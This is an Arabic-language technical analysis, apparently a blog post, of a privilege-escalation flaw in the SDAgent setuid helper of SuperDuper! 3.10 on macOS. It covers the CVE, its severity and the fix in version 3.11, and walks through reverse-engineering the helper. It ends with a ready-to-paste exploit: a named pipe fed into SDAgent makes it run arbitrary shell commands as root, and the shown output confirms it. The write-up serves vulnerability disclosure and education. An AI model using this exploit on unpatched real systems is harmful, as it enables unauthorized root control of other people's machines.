
من مدونة المطوّر:
عندما يتم فتح القفل في SuperDuper للسماح بالتنفيذ دون الحاجة إلى إدخال كلمة مرور المسؤول، يمكن لبرنامج خارجي استخدام تفويضنا لتشغيل شيء آخر غير النسخ الاحتياطي بصلاحيات المسؤول.
وصف CVE:
التحكم غير الصحيح في الوصول في مكوّن SDAgent الخاص بـ Shirt Pocket SuperDuper! الإصدار 3.10 يسمح للمهاجمين برفع الصلاحيات إلى الجذر بسبب الاستخدام غير السليم لثنائي setuid.
هذا المؤلف ليس من اكتشف الثغرة، الذي حدده مطوّر SuperDuper بأنه "باحث أمني مجهول". لا أدّعي أي فضل في اكتشاف هذه الثغرة، لقد كان لدي فقط بعض الاهتمام بإجراء تحليل تقني لها.
درجة CVSS 3.1: 8.1: عالية (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
لتجنب هذه الثغرة، إما احذف تطبيق SuperDuper! أو طبّق تحديث 3.11.
تحذير: يجب عليك تنزيل التحديث مباشرة من موقع المطوّر لتجنب ثغرة CVE-2025-61228.
تحليل الاستغلال وإثبات المفهوم هذا مُقدَّم لأغراض تعليمية فقط. استخدمه على مسؤوليتك الخاصة.
مكوّن SDAgent في تطبيق SuperDuper! هو ثنائي setuid. بسبب التصميم/التنفيذ الضعيف، فإن SDAgent موجود فقط لتنفيذ أوامر الصدفة التي يطلبها تطبيق آخر، ولا يبدو أن SDAgent يجري أي تحقق من التطبيق الطالب، ولا يطبّق أي قيود على أنواع أوامر الصدفة التي يمكن طلبها. نتيجة لذلك، يمكن للمهاجمين جعل الإصدارات المتأثرة من أداة SDAgent تنفذ أي أمر صدفة بصلاحيات الجذر. الإصلاح من المطوّر يعالج فقط فشل SDAgent في التحقق من الطالب، ولا يعالج تصميم أداة المساعدة "puppet"، مما يترك العامل عرضة لهجمات مستقبلية محتملة.
كان وصف المطوّر لهذه المشكلة غامضًا، لكن تعليق "عندما يتم فتح القفل في SuperDuper" وجهني في الاتجاه الصحيح بسرعة كبيرة. بدءًا من إصدار أقدم (لا يزال عرضة للثغرة) من SuperDuper، قمت بالنقر على أيقونة القفل والمصادقة. في Activity Monitor، لاحظت ظهور عملية جديدة مرتبطة بـ SuperDuper – SDAgent. وجدت هذا المكوّن في ملف حزمة SuperDuper وألقيت نظرة على سماته في الطرفية. بعد تبديل القفل إلى إيقاف/تشغيل، لاحظت أن ملف SDAgent هو ثنائي setuid كلما كان القفل مفتوحًا. بالنظر إلى تلك السمة واسم الملف، استنتجت أن هذا يجب أن يكون "أداة مساعدة مميزة" (privileged helper tool)، رغم أنه بدا صغيرًا بعض الشيء لهذا الغرض.
Setuid هي شكل قديم جدًا من رفع الصلاحيات، وعادةً إما أن تبني كل وظائف "تحتاج الجذر" داخل أداة "المساعد" وتطلب منها فقط القيام بمهمتها، أو تطوّر مسار اتصال يسمح لتطبيق عميل بتقديم طلبات محددة للأداة المساعدة. ولكن نظرًا لصغر حجم ملف SDAgent (137 كيلوبايت فقط)، يبدو من غير المحتمل أن يحتوي على كل كود "يحتاج الجذر" لما يدّعي هذا التطبيق القيام به. أثار فضولي، قمت بتشغيل أداة "strings" على SDAgent للحصول على فكرة عما يفترض أن يفعله. اتضح أن هذا كان مفيدًا للغاية. كان هناك تقريبًا لا يوجد مخرجات (مقارنة بما تراه عادةً لثنائي تطبيق)، والمخرجات توضح أساسًا أن SDAgent لديه وظيفة واحدة فقط: تنفيذ أي سكربت صدفة يوفره الطالب، على سبيل المثال:
% strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
/bin/bash
bash
SDAgent could not fork process
****DONE****
إنه تصميم سيئ إنشاء أداة مساعدة تنفذ حرفيًا أي أمر؛ "لا تكن دمية" هي قاعدة مهمة يجب اتباعها عند صنع أداة مساعدة.
تابعت مع افتراض أن SuperDuper يجب أن يفتح SDAgent، وينشئ أنبوب اتصال، ثم يرسل سكربتات الصدفة إلى SDAgent. قدر بسيط من التجسس في حزمة تطبيق SuperDuper أظهر أنني على المسار الصحيح. يبدو أن هذا التطبيق يدير كل نشاط النسخ الخاص به عبر سكربتات الصدفة.
قمت ببعض المحاولات الضعيفة ببساطة لتوجيه الأوامر إلى العامل:
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
zsh: done printf "whoami" |
zsh: segmentation fault /Applications/SuperDuper!.app/Contents/MacOS/SDAgent
انهار SDAgent، أعتقد أنها لن تكون بتلك السهولة! غير مثبط، بدأت ببعض التخمينات بناءً على كيفية عمل تطبيقات setuid المساعدة عادةً. بين زوج من أدوات الصدفة، عادةً ما تنشئ بعض الأنابيب للإدخال القياسي والإخراج القياسي والخطأ القياسي، ثم تستدعي fork وexec. العملية الابنة سترث نسخة من كل أنبوب، لذا سيكون لدى كل جانب أنابيب اتصال مفتوحة تلقائيًا إلى الآخر. مع تطبيق يرتبط بأطر عمل عالية المستوى، فإن fork() ليست خيارًا. بدلاً من ذلك، ستحتاج إلى تطوير طريقة ما لإخبار التطبيق الابن بكيفية نيتك التواصل معه. مخرجات "strings" أعطت دليلًا:
strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
STDIN_PIPE_READ_FD
%i %i %i
"STDIN_PIPE_READ_FD" – المطوّر شفاف جدًا بشأن ما يحدث هنا. يمكننا الحصول على مزيد من السياق حول هذه السلسلة من otool:
otool -tV /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
/Applications/SuperDuper!.app/Contents/MacOS/SDAgent:
...
00000001000011a8 leaq 0xa56(%rip), %rdi ## literal pool for: "STDIN_PIPE_READ_FD"
00000001000011af callq 0x1000017f6 ## symbol stub for: _getenv
حسنًا، إذن ربما يكون متغير بيئة. لنجرب خدعة الأنبوب السهلة مرة أخرى، وسأفترض أن SDAgent سيستقبل ببساطة أوامري من واصف ملف الإدخال القياسي (0):
export STDIN_PIPE_READ_FD=0
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1557%
بعد عدة تكرارات أصبح واضحًا أن "1557" هو معرف العملية لـ SDAgent المستدعى. ليس مفيدًا جدًا (وليس ناتج "root" الذي توقعته)، لكنه لم ينهار هذه المرة، وكان ذلك مشجعًا. جربت مرة أخرى بشيء من شأنه إحداث تغيير في نظام الملفات:
printf "touch /Library/test" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1593%
لا، لم يتم إنشاء الملف؛ حان وقت شمر الأكمام. عطّلت SIP، وشغّلت dtruss وطلبت من SuperDuper تشغيل مهمة. مباشرة بعد المصادقة لبدء المهمة، رأيت المخرجات التالية من dtruss (مرتبطة بعملية SDAgent):
read(0x0, "21 23 24 \0", 0x800) = 9 0
dup2(0x15, 0x1, 0x0) = 1 0
dup2(0x17, 0x2, 0x0) = 2 0
write(0x1, "1615\0", 0x4) = 4 0
يقرأ SDAgent في البداية من واصف الملف 0 (الإدخال القياسي) للإدخال (ربما أي FD يُشار إليه بواسطة STDIN_PIPE_READ_FD). هنا نراه يقرأ ثلاثة أرقام. بناءً على التسلسل، أعتقد أن SuperDuper فتح ثلاثة أنابيب، وهو يرسل أطراف الكتابة والكتابة والقراءة لتلك الأنابيب الثلاثة إلى SDAgent. ثم يقوم SDAgent بتكرار (dup) الأولين إلى الإخراج القياسي والخطأ القياسي (لا أستطيع تحديد استخدام الثالث). أخيرًا، يكتب "1615" (معرف عملية SDAgent الحالي) إلى الإخراج القياسي (حتى يعرف SuperDuper الآن معرف عملية SDAgent)، ثم يستمع لأوامر إضافية على fd 0. بعد بعض التجربة والخطأ، أصبح واضحًا أننا بحاجة إلى إرسال بعض واصفات الملفات إلى SDAgent قبل أن ينفذ أوامرنا. الإخراج القياسي (1) والخطأ القياسي (2) سيكونان مفتوحين وقابلين للكتابة بالفعل في بيئة الصدفة، لذا جربت تلك:
printf "1 2 \0whoami\0" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
~ % 1602
مرة أخرى، لم ينهار، لكن مثل مراهق متحمس، SDAgent ينتهي مبكرًا ولا أحصل على نتيجة "root" التي أتوقعها. يُظهر dtruss أنه يقرأ واصفات الملفات، لكنه يتجاهل الباقي. هذا غير مفاجئ بالنظر إلى فاصل السلسلة الفارغ (null terminator)، ربما نحتاج إلى فجوة بين هذه السلاسل حتى يعاملها SDAgent كطلبات منفصلة. لذا سنحتاج إلى توصيل SDAgent بأنبوب يمكننا الكتابة إليه أكثر من مرة.
عند هذه النقطة يمكنني كتابة تطبيق C بسيط يفتح بعض الأنابيب، ويستدعي SDAgent عبر fork، ويكتب واصفات الملفات إلى أنبوب الإدخال، ثم بعد توقف قصير يرسل وسائطه (أي حمولة الهجوم) إلى الأنبوب لتنفيذها. بينما بدأت في كتابة ذلك الكود، خطر لي أنه ربما يمكنني تحقيق كل وظائف ذلك الكود المترجم المكون من أكثر من 50 سطرًا في زوج من أوامر الصدفة البسيطة. أنا حقًا بحاجة فقط إلى طريقة لإنشاء وإبقاء أنبوب مفتوح إلى عملية SDAgent. "mkfifo" سيخدم هذا الغرض: أنابيب FIFO موجودة كملفات على القرص، لكن يمكنك تركيب أنابيب عليها. على جانب واحد، سنحتاج إلى شيء يقرأ من الـ fifo، ثم يكرر ذلك المحتوى إلى SDAgent على الجانب الآخر من الأنبوب. أحتاج إلى كتابة واصفات الملفات إلى الأنبوب مبدئيًا، لكن أحتاج أيضًا إلى إبقاء الأنبوب مفتوحًا حتى أتمكن من إرسال أوامر الحمولة. إذا خرجت العملية على أي من جانبي الأنبوب، يُغلق الأنبوب. كانت أداة tail ومعامل الخلفية أداتين أساسيتين:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
[1] 1964 1965
أدى ذلك إلى ظهور وظيفتين في الخلفية: tail (1964) وSDAgent (1965). تظل كلتا العمليتين تعملان في الخلفية، لذا يستمر الأنبوب بينهما. tail ينتظر إضافة بيانات إلى الـ fifo، ثم ينقل تلك البيانات إلى SDAgent. بسيط بشكل مذهل. بعد ذلك، أرسل واصفات الملفات:
printf "1 2 \0" > /tmp/puppet
أظهر dtruss أن SDAgent قرأ واصفات الملفات وأن SDAgent لا يزال يعمل، منتظرًا مزيدًا من الإدخال. الآن لحظة الحقيقة:
printf 'whoami\0' > /tmp/puppet
~ % root
****DONE****
لقد نجحت! مرة أخرى؟
printf 'touch /Library/test; ls /Library/test\0' > /tmp/puppet
~ % /Library/test
****DONE****
هذا كل شيء! عندما جمعت كل شيء في كتلة واحدة من أوامر الصدفة للنسخ واللصق، كنت ما أزال أجد أن SDAgent بطيء بعض الشيء في معالجة واصفات الملفات. تأخير قصير، ونكون بخير:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
printf "1 2 \0" > /tmp/puppet
sleep 1
printf 'whoami\0' > /tmp/puppet
كاستغلالات الجذر، كان هذا من السهل اكتشافه بشكل مدهش ومن السهل حقًا على المهاجم استغلاله.